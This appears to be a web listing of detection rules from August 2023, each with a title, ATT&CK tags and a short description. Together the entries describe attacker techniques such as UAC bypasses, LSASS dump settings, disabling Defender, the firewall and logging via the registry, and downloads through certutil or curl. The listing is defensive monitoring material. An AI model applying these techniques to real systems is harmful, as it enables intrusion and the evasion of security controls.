ProxyLogon Reset Virtual Directories Based On IIS Log

Aug 28, 2023 · cve.2021.26858 detection.emerging_threats attack.initial_access attack.t1190 ·

Share on:

When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories

PUA - AdvancedRun Execution

Aug 28, 2023 · attack.execution attack.defense_evasion attack.privilege_escalation attack.t1564.003 attack.t1134.002 attack.t1059.003 ·

Share on:

Detects the execution of AdvancedRun utility

PUA - AdvancedRun Suspicious Execution

Aug 28, 2023 · attack.defense_evasion attack.privilege_escalation attack.t1134.002 ·

Share on:

Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts

PUA - Process Hacker Execution

Aug 28, 2023 · attack.defense_evasion attack.discovery attack.persistence attack.privilege_escalation attack.t1622 attack.t1564 attack.t1543 ·

Share on:

Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors regularly abuse it to manipulate system processes.

PUA - System Informer Execution

Aug 28, 2023 · attack.persistence attack.privilege_escalation attack.discovery attack.defense_evasion attack.t1082 attack.t1564 attack.t1543 ·

Share on:

Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations

Rename Common File to DLL File

Aug 28, 2023 · attack.defense_evasion attack.t1036.008 ·

Share on:

Detects cases in which a file gets renamed to .dll, which often happens to bypass perimeter protection

Replay Attack Detected

Aug 28, 2023 · attack.credential_access attack.t1558 ·

Share on:

Detects possible Kerberos Replay Attack on the domain controllers when "KRB_AP_ERR_REPEAT" Kerberos response is sent to the client

Rundll32 Execution Without DLL File

Aug 28, 2023 · attack.defense_evasion attack.t1218.011 ·

Share on:

Detects the execution of rundll32 with a command line that doesn't contain a .dll file

Server Side Template Injection Strings

Aug 28, 2023 · attack.defense_evasion attack.t1221 ·

Share on:

Detects SSTI attempts sent via GET requests in access logs

Suspicious Child Process Of Wermgr.EXE

Aug 28, 2023 · attack.defense_evasion attack.privilege_escalation attack.t1055 attack.t1036 ·

Share on:

Detects suspicious Windows Error Reporting manager (wermgr.exe) child process

Suspicious Computer Account Name Change CVE-2021-42287

Aug 28, 2023 · cve.2021.42287 detection.emerging_threats attack.defense_evasion attack.persistence attack.t1036 attack.t1098 ·

Share on:

Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287

Suspicious Download from Office Domain

Aug 28, 2023 · attack.command_and_control attack.t1105 attack.t1608 ·

Share on:

Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents

Suspicious Dropbox API Usage

Aug 28, 2023 · attack.command_and_control attack.t1105 ·

Share on:

Detects an executable that isn't dropbox but communicates with the Dropbox API

Suspicious FromBase64String Usage On Gzip Archive - Process Creation

Aug 28, 2023 · attack.command_and_control attack.t1132.001 ·

Share on:

Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.

Suspicious FromBase64String Usage On Gzip Archive - Ps Script

Aug 28, 2023 · attack.command_and_control attack.t1132.001 ·

Share on:

Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.

Suspicious Hacktool Execution - Imphash

Aug 28, 2023 · attack.credential_access attack.t1588.002 attack.t1003 ·

Share on:

Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed

Suspicious Hacktool Execution - PE Metadata

Aug 28, 2023 · attack.credential_access attack.t1588.002 attack.t1003 ·

Share on:

Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed

Suspicious IIS Module Registration

Aug 28, 2023 · attack.persistence attack.t1505.004 ·

Share on:

Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors

Suspicious Interactive PowerShell as SYSTEM

Aug 28, 2023 · attack.execution attack.t1059.001 ·

Share on:

Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context

Suspicious Kernel Dump Using Dtrace

Aug 28, 2023 · attack.discovery attack.t1082 ·

Share on:

Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1

Suspicious PowerShell IEX Execution Patterns

Aug 28, 2023 · attack.execution attack.t1059.001 ·

Share on:

Detects suspicious ways to run Invoke-Execution using IEX alias

Suspicious Process Parents

Aug 28, 2023 · attack.defense_evasion attack.t1036 ·

Share on:

Detects suspicious parent processes that should not have any children or should only have a single possible child program

Suspicious Program Names

Aug 28, 2023 · attack.execution attack.t1059 ·

Share on:

Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools

Suspicious Redirection to Local Admin Share

Aug 28, 2023 · attack.exfiltration attack.t1048 ·

Share on:

Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers

Suspicious SysAidServer Child

Aug 28, 2023 · attack.lateral_movement attack.t1210 ·

Share on:

Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)

Suspicious SYSTEM User Process Creation

Aug 28, 2023 · attack.credential_access attack.defense_evasion attack.privilege_escalation attack.t1134 attack.t1003 attack.t1027 ·

Share on:

Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)

Suspicious Windows Update Agent Empty Cmdline

Aug 28, 2023 · attack.defense_evasion attack.t1036 ·

Share on:

Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags

Suspicious X509Enrollment - Process Creation

Aug 28, 2023 · attack.defense_evasion attack.t1553.004 ·

Share on:

Detect use of X509Enrollment

Suspicious X509Enrollment - Ps Script

Aug 28, 2023 · attack.defense_evasion attack.t1553.004 ·

Share on:

Detect use of X509Enrollment

The Windows Defender Firewall Service Failed To Load Group Policy

Aug 28, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Detects activity when The Windows Defender Firewall service failed to load Group Policy

Uncommon One Time Only Scheduled Task At 00:00

Aug 28, 2023 · attack.execution attack.persistence attack.privilege_escalation attack.t1053.005 ·

Share on:

Detects scheduled task creation events that include suspicious actions, and is run once at 00:00

User with Privileges Logon

Aug 28, 2023 · attack.defense_evasion attack.lateral_movement attack.credential_access attack.t1558 attack.t1649 attack.t1550 ·

Share on:

Detects logon with "Special groups" and "Special Privileges" can be thought of as Administrator groups or privileges.

Windows Binaries Write Suspicious Extensions

Aug 28, 2023 · attack.defense_evasion attack.t1036 ·

Share on:

Detects Windows executables that writes files with suspicious extensions

Windows Defender Firewall Has Been Reset To Its Default Configuration

Aug 28, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Detects activity when Windows Defender Firewall has been reset to its default configuration

Windows Firewall Settings Have Been Changed

Aug 28, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Detects activity when the settings of the Windows firewall have been changed

Windows Shell/Scripting Application File Write to Suspicious Folder

Aug 28, 2023 · attack.execution attack.t1059 ·

Share on:

Detects Windows shells and scripting applications that write files to suspicious folders

WScript or CScript Dropper - File

Aug 28, 2023 · attack.execution attack.t1059.005 attack.t1059.007 ·

Share on:

Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe

Potential Persistence Via Visual Studio Tools for Office

Aug 28, 2023 · attack.t1137.006 attack.persistence ·

Share on:

Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.

Nullsoft Scriptable Installer Script (NSIS) execution

Aug 26, 2023 · attack.execution attack.T1106 dist.public ·

Share on:

Detects the creation of the NSIS System plugin library, indicative of an NSIS script execution.

Search-ms and WebDAV Suspicious Indicators in URL

Aug 25, 2023 · attack.initial_access attack.t1584 attack.t1566 ·

Share on:

Detects URL pattern used by search(-ms)/WebDAV initial access campaigns.

Container Residence Discovery Via Proc Virtual FS

Aug 24, 2023 · attack.discovery attack.t1082 ·

Share on:

Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem

Docker Container Discovery Via Dockerenv Listing

Aug 24, 2023 · attack.discovery attack.t1082 ·

Share on:

Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery

Potential Container Discovery Via Inodes Listing

Aug 24, 2023 · attack.discovery attack.t1082 ·

Share on:

Detects listing of the inodes of the "/" directory to determin if the we are running inside of a container.

Potential Defense Evasion Via Rename Of Highly Relevant Binaries

Aug 24, 2023 · attack.defense_evasion attack.t1036.003 car.2013-05-009 ·

Share on:

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

Suspicious Execution Location Of Wermgr.EXE

Aug 24, 2023 · attack.execution ·

Share on:

Detects suspicious Windows Error Reporting manager (wermgr.exe) execution location.

AWS IAM S3Browser Templated S3 Bucket Policy Creation

Aug 24, 2023 · attack.execution attack.t1059.009 attack.persistence attack.t1078.004 ·

Share on:

Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "".

Disabling Python warnings for executing untrusted code

Aug 24, 2023 · attack.Defense-Evansion attack.T1562.001 ·

Share on:

Detecting the registry change that would prevent any warnings or alerts when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.

Dynamic .NET Compilation Via Csc.EXE

Aug 23, 2023 · attack.defense_evasion attack.t1027.004 ·

Share on:

Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.

Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE

Aug 23, 2023 · attack.credential_access attack.t1003.005 ·

Share on:

Detects usage of cmdkey to look for cached credentials on the system

Anonymous IP Address

Aug 23, 2023 · attack.t1528 attack.credential_access ·

Share on:

Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.

Devil Bait Potential C2 Communication Traffic

Aug 23, 2023 · attack.command_and_control detection.emerging_threats ·

Share on:

Detects potential C2 communication related to Devil Bait malware

Powershell download and load assembly

Aug 23, 2023 ·

Share on:

Detect powershell download and load assembly

Masquerading as Linux Crond Process

Aug 22, 2023 · attack.defense_evasion attack.t1036.003 ·

Share on:

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

Potential In-Memory Download And Compile Of Payloads

Aug 22, 2023 · attack.command_and_control attack.execution attack.t1059.007 attack.t1105 ·

Share on:

Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware

User Added To Admin Group Via DseditGroup

Aug 22, 2023 · attack.initial_access attack.privilege_escalation attack.t1078.003 ·

Share on:

Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.

User Added To Admin Group Via Dscl

Aug 22, 2023 · attack.initial_access attack.privilege_escalation attack.t1078.003 ·

Share on:

Detects attempts to create and add an account to the admin group via "dscl"

User Added To Admin Group Via Sysadminctl

Aug 22, 2023 · attack.initial_access attack.privilege_escalation attack.t1078.003 ·

Share on:

Detects attempts to create and add an account to the admin group via "sysadminctl"

JAMF MDM Potential Suspicious Child Process

Aug 22, 2023 · attack.execution ·

Share on:

Detects potential suspicious child processes of "jamf". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.

JAMF MDM Execution

Aug 22, 2023 · attack.execution ·

Share on:

Detects execution of the "jamf" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.

Root Account Enable Via Dsenableroot

Aug 22, 2023 · attack.t1078 attack.t1078.001 attack.t1078.003 attack.initial_access attack.persistence ·

Share on:

Detects attempts to enable the root account via "dsenableroot"

Potentially Suspicious WebDAV LNK Execution

Aug 22, 2023 · attack.execution attack.t1059.001 attack.t1204 ·

Share on:

Detects possible execution via LNK file accessed on a WebDAV server.

Potential CVE-2023-21554 QueueJumper Exploitation

Aug 18, 2023 · attack.privilege_escalation attack.execution cve.2023.21554 detection.emerging_threats ·

Share on:

Detects potential exploitation of CVE-2023-21554 (dubbed QueueJumper)

Uncommon Child Process Of BgInfo.EXE

Aug 18, 2023 · attack.execution attack.t1059.005 attack.defense_evasion attack.t1218 attack.t1202 ·

Share on:

Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript

Assembly DLL Creation Via AspNetCompiler

Aug 18, 2023 · attack.execution ·

Share on:

Detects the creation of new DLL assembly files by "aspnet_compiler.exe", which could be a sign of "aspnet_compiler" abuse to proxy execution through a build provider.

Assembly Loading Via CL_LoadAssembly.ps1

Aug 18, 2023 · attack.defense_evasion attack.t1216 ·

Share on:

Detects calls to "LoadAssemblyFromPath" or "LoadAssemblyFromNS" that are part of the "CL_LoadAssembly.ps1" script. This can be abused to load different assemblies and bypass App locker controls.

Indirect Command Execution From Script File Via Bash.EXE

Aug 18, 2023 · attack.defense_evasion attack.t1202 ·

Share on:

Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash

Indirect Inline Command Execution Via Bash.EXE

Aug 18, 2023 · attack.defense_evasion attack.t1202 ·

Share on:

Detects execution of Microsoft bash launcher with the "-c" flag. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash

New BgInfo.EXE Custom DB Path Registry Configuration

Aug 18, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information.

New BgInfo.EXE Custom VBScript Registry Configuration

Aug 18, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom VBScript via "BgInfo.exe"

New BgInfo.EXE Custom WMI Query Registry Configuration

Aug 18, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via "BgInfo.exe"

Potential Script Proxy Execution Via CL_Mutexverifiers.ps1

Aug 18, 2023 · attack.defense_evasion attack.t1216 ·

Share on:

Detects the use of the Microsoft signed script "CL_mutexverifiers" to proxy the execution of additional PowerShell script commands

Potentially Suspicious ASP.NET Compilation Via AspNetCompiler

Aug 18, 2023 · attack.defense_evasion attack.t1127 ·

Share on:

Detects execution of "aspnet_compiler.exe" with potentially suspicious paths for compilation.

Suspicious Child Process of AspNetCompiler

Aug 18, 2023 · attack.defense_evasion attack.t1127 ·

Share on:

Detects potentially suspicious child processes of "aspnet_compiler.exe".

Unsigned Mfdetours.DLL Sideloading

Aug 18, 2023 · attack.defense_evasion attack.privilege_escalation attack.t1574.001 attack.t1574.002 ·

Share on:

Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.

Potential Process Execution Proxy Via CL_Invocation.ps1

Aug 17, 2023 · attack.defense_evasion attack.t1216 ·

Share on:

Detects calls to "SyncInvoke" that is part of the "CL_Invocation.ps1" script to proxy execution using "System.Diagnostics.Process"

Suspicious File Download From File Sharing Websites

Aug 17, 2023 · attack.defense_evasion attack.s0139 attack.t1564.004 ·

Share on:

Detects the download of suspicious file type from a well-known file and paste sharing domain

BITS Transfer Job Download From File Sharing Domains

Aug 17, 2023 · attack.defense_evasion attack.persistence attack.t1197 ·

Share on:

Detects BITS transfer job downloading files from a file sharing domain.

Microsoft Binary Suspicious Communication Endpoint

Aug 17, 2023 · attack.lateral_movement attack.t1105 ·

Share on:

Detects an executable in the Windows folder accessing suspicious domains

Suspicious Download From File-Sharing Website Via Bitsadmin

Aug 17, 2023 · attack.defense_evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·

Share on:

Detects usage of bitsadmin downloading a file from a suspicious domain

Suspicious File Download From File Sharing Domain Via Curl.EXE

Aug 17, 2023 · attack.execution ·

Share on:

Detects potentially suspicious file download from file sharing domains using curl.exe

Suspicious File Download From File Sharing Domain Via Wget.EXE

Aug 17, 2023 · attack.execution ·

Share on:

Detects potentially suspicious file downloads from file sharing domains using wget.exe

Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE

Aug 17, 2023 · attack.defense_evasion attack.t1027 ·

Share on:

Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.

Suspicious Remote AppX Package Locations

Aug 17, 2023 · attack.defense_evasion ·

Share on:

Detects an appx package added the pipeline of the "to be processed" packages which is downloaded from a suspicious domain

Unusual File Download From File Sharing Websites

Aug 17, 2023 · attack.defense_evasion attack.s0139 attack.t1564.004 ·

Share on:

Detects the download of suspicious file type from a well-known file and paste sharing domain

Suspicious Service Installed

Aug 17, 2023 · attack.t1562.001 attack.defense_evasion ·

Share on:

Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)

Activate Suppression of Windows Security Center Notifications

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detect set Notification_Suppress to 1 to disable the Windows security center notification

Add Debugger Entry To AeDebug For Persistence

Aug 17, 2023 · attack.persistence ·

Share on:

Detects when an attacker adds a new "Debugger" value to the "AeDebug" key in order to achieve persistence which will get invoked when an application crashes

Add Debugger Entry To Hangs Key For Persistence

Aug 17, 2023 · attack.persistence ·

Share on:

Detects when an attacker adds a new "Debugger" value to the "Hangs" key in order to achieve persistence which will get invoked when an application crashes

Add DisallowRun Execution to Registry

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detect set DisallowRun to 1 to prevent user running specific computer program

Add Port Monitor Persistence in Registry

Aug 17, 2023 · attack.persistence attack.t1547.010 ·

Share on:

Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.

Adwind RAT / JRAT - Registry

Aug 17, 2023 · attack.execution attack.t1059.005 attack.t1059.007 ·

Share on:

Detects javaw.exe in AppData folder as used by Adwind / JRAT

Allow RDP Remote Assistance Feature

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detect enable rdp feature to allow specific user to rdp connect on the targeted machine

Blackbyte Ransomware Registry

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption

Blue Mockingbird - Registry

Aug 17, 2023 · attack.execution attack.t1112 attack.t1047 ·

Share on:

Attempts to detect system changes made by Blue Mockingbird

Bypass UAC Using DelegateExecute

Aug 17, 2023 · attack.privilege_escalation attack.defense_evasion attack.t1548.002 ·

Share on:

Bypasses User Account Control using a fileless method

Bypass UAC Using Event Viewer

Aug 17, 2023 · attack.persistence attack.t1547.010 ·

Share on:

Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification

Bypass UAC Using SilentCleanup Task

Aug 17, 2023 · attack.privilege_escalation attack.defense_evasion attack.t1548.002 ·

Share on:

There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC

Change Winevt Event Access Permission Via Registry

Aug 17, 2023 · attack.defense_evasion attack.t1562.002 ·

Share on:

Detects tampering with the "ChannelAccess" registry key in order to change access to Windows event channel

Changing RDP Port to Non Standard Number

Aug 17, 2023 · attack.persistence attack.t1547.010 ·

Share on:

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).

Classes Autorun Keys Modification

Aug 17, 2023 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

ClickOnce Trust Prompt Tampering

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from different locations such as the Internet.

CobaltStrike Service Installations in Registry

Aug 17, 2023 · attack.execution attack.privilege_escalation attack.lateral_movement attack.t1021.002 attack.t1543.003 attack.t1569.002 ·

Share on:

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement. We can also catch this by system log 7045 (https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_cobaltstrike_service_installs.yml) In some SIEM you can catch those events also in HKLM\System\ControlSet001\Services or HKLM\System\ControlSet002\Services, however, this rule is based on a regular sysmon's events.

COM Hijack via Sdclt

Aug 17, 2023 · attack.privilege_escalation attack.t1546 attack.t1548 ·

Share on:

Detects changes to 'HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute'

COM Hijacking via TreatAs

Aug 17, 2023 · attack.persistence attack.t1546.015 ·

Share on:

Detect modification of TreatAs key to enable "rundll32.exe -sta" command

Common Autorun Keys Modification

Aug 17, 2023 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

CrashControl CrashDump Disabled

Aug 17, 2023 · attack.t1564 attack.t1112 ·

Share on:

Detects disabling the CrashDump per registry (as used by HermeticWiper)

CurrentControlSet Autorun Keys Modification

Aug 17, 2023 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

CurrentVersion Autorun Keys Modification

Aug 17, 2023 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

CurrentVersion NT Autorun Keys Modification

Aug 17, 2023 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Custom File Open Handler Executes PowerShell

Aug 17, 2023 · attack.defense_evasion attack.t1202 ·

Share on:

Detects the abuse of custom file open handler, executing powershell

CVE-2021-31979 CVE-2021-33771 Exploits

Aug 17, 2023 · attack.credential_access attack.t1566 attack.t1203 cve.2021.33771 cve.2021.31979 detection.emerging_threats ·

Share on:

Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum

DHCP Callout DLL Installation

Aug 17, 2023 · attack.defense_evasion attack.t1574.002 attack.t1112 ·

Share on:

Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)

Disable Administrative Share Creation at Startup

Aug 17, 2023 · attack.defense_evasion attack.t1070.005 ·

Share on:

Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system

Disable Exploit Guard Network Protection on Windows Defender

Aug 17, 2023 · attack.defense_evasion attack.t1562.001 ·

Share on:

Detects disabling Windows Defender Exploit Guard Network Protection

Disable Internal Tools or Feature in Registry

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)

Disable Macro Runtime Scan Scope

Aug 17, 2023 · attack.defense_evasion ·

Share on:

Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros

Disable Microsoft Defender Firewall via Registry

Aug 17, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage

Disable Privacy Settings Experience in Registry

Aug 17, 2023 · attack.defense_evasion attack.t1562.001 ·

Share on:

Detects registry modifications that disable Privacy Settings Experience

Disable PUA Protection on Windows Defender

Aug 17, 2023 · attack.defense_evasion attack.t1562.001 ·

Share on:

Detects disabling Windows Defender PUA protection

Disable Sysmon Event Logging Via Registry

Aug 17, 2023 · attack.defense_evasion attack.t1562.001 ·

Share on:

Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.

Disable Tamper Protection on Windows Defender

Aug 17, 2023 · attack.defense_evasion attack.t1562.001 ·

Share on:

Detects disabling Windows Defender Tamper Protection

Disable UAC Using Registry

Aug 17, 2023 · attack.privilege_escalation attack.defense_evasion attack.t1548.002 ·

Share on:

Detects when an attacker tries to disable User Account Control (UAC) by changing its registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0

Disable Windows Defender Functionalities Via Registry Keys

Aug 17, 2023 · attack.defense_evasion attack.t1562.001 ·

Share on:

Detects when attackers or tools disable Windows Defender functionalities via the Windows registry

Disable Windows Event Logging Via Registry

Aug 17, 2023 · attack.defense_evasion attack.t1562.002 ·

Share on:

Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel

Disable Windows Firewall by Registry

Aug 17, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Detect set EnableFirewall to 0 to disable the Windows firewall

Disable Windows Security Center Notifications

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detect set UseActionCenterExperience to 0 to disable the Windows security center notification

Disabled RestrictedAdminMode For RDS

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detect activation of DisableRestrictedAdmin to desable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise

Disabled Windows Defender Eventlog

Aug 17, 2023 · attack.defense_evasion attack.t1562.001 ·

Share on:

Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections

DNS-over-HTTPS Enabled by Registry

Aug 17, 2023 · attack.defense_evasion attack.t1140 attack.t1112 ·

Share on:

Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.

Enable Local Manifest Installation With Winget

Aug 17, 2023 · attack.defense_evasion attack.persistence ·

Share on:

Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.

Enable Microsoft Dynamic Data Exchange

Aug 17, 2023 · attack.execution attack.t1559.002 ·

Share on:

Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.

Enabling COR Profiler Environment Variables

Aug 17, 2023 · attack.persistence attack.privilege_escalation attack.defense_evasion attack.t1574.012 ·

Share on:

This rule detects cor_enable_profiling and cor_profiler environment variables being set and configured.

ETW Logging Disabled For rpcrt4.dll

Aug 17, 2023 · attack.defense_evasion attack.t1112 attack.t1562 ·

Share on:

Detects changes to the "ExtErrorInformation" key in order to disable ETW logging for rpcrt4.dll

ETW Logging Disabled For SCM

Aug 17, 2023 · attack.defense_evasion attack.t1112 attack.t1562 ·

Share on:

Detects changes to the "TracingDisabled" key in order to disable ETW logging for services.exe (SCM)

ETW Logging Disabled In .NET Processes - Sysmon Registry

Aug 17, 2023 · attack.defense_evasion attack.t1112 attack.t1562 ·

Share on:

Potential adversaries stopping ETW providers recording loaded .NET assemblies.

Execution DLL of Choice Using WAB.EXE

Aug 17, 2023 · attack.defense_evasion attack.t1218 ·

Share on:

This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.

Hide Schedule Task Via Index Value Tamper

Aug 17, 2023 · attack.defense_evasion attack.t1562 ·

Share on:

Detects when the "index" value of a scheduled task is modified from the registry Which effectively hides it from any tooling such as "schtasks /query" (Read the referenced link for more information about the effects of this technique)

IE Change Domain Zone

Aug 17, 2023 · attack.persistence attack.t1137 ·

Share on:

Hides the file extension through modification of the registry

Internet Explorer Autorun Keys Modification

Aug 17, 2023 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Internet Explorer DisableFirstRunCustomize Enabled

Aug 17, 2023 · attack.defense_evasion ·

Share on:

Detects changes to the Internet Explorer "DisableFirstRunCustomize" value, which prevents Internet Explorer from running the first run wizard the first time a user starts the browser after installing Internet Explorer or Windows.

Lolbas OneDriveStandaloneUpdater.exe Proxy Download

Aug 17, 2023 · attack.command_and_control attack.t1105 ·

Share on:

Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any anomalous executables with suspicious arguments. The downloaded file will be in C:\Users\redacted\AppData\Local\Microsoft\OneDrive\StandaloneUpdaterreSignInSettingsConfig.json

Lsass Full Dump Request Via DumpType Registry Settings

Aug 17, 2023 · attack.credential_access attack.t1003.001 ·

Share on:

Detects the setting of the "DumpType" registry value to "2" which stands for a "Full Dump". Technique such as LSASS Shtinkering requires this value to be "2" in order to dump LSASS.

Macro Enabled In A Potentially Suspicious Document

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects registry changes to Office trust records where the path is located in a potentially suspicious location

Microsoft Office Protected View Disabled

Aug 17, 2023 · attack.defense_evasion attack.t1562.001 ·

Share on:

Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature.

Modification of Explorer Hidden Keys

Aug 17, 2023 · attack.defense_evasion attack.t1564.001 ·

Share on:

Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.

Modification of IE Registry Settings

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence

Modify User Shell Folders Startup Value

Aug 17, 2023 · attack.persistence attack.privilege_escalation attack.t1547.001 ·

Share on:

Detect modification of the startup key to a path where a payload could be stored to be launched during startup

NET NGenAssemblyUsageLog Registry Key Tamper

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects changes to the NGenAssemblyUsageLog registry key. .NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section). By simplify specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.

New Application in AppCompat

Aug 17, 2023 · attack.execution attack.t1204.002 ·

Share on:

A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.

New DNS ServerLevelPluginDll Installed

Aug 17, 2023 · attack.defense_evasion attack.t1574.002 attack.t1112 ·

Share on:

Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)

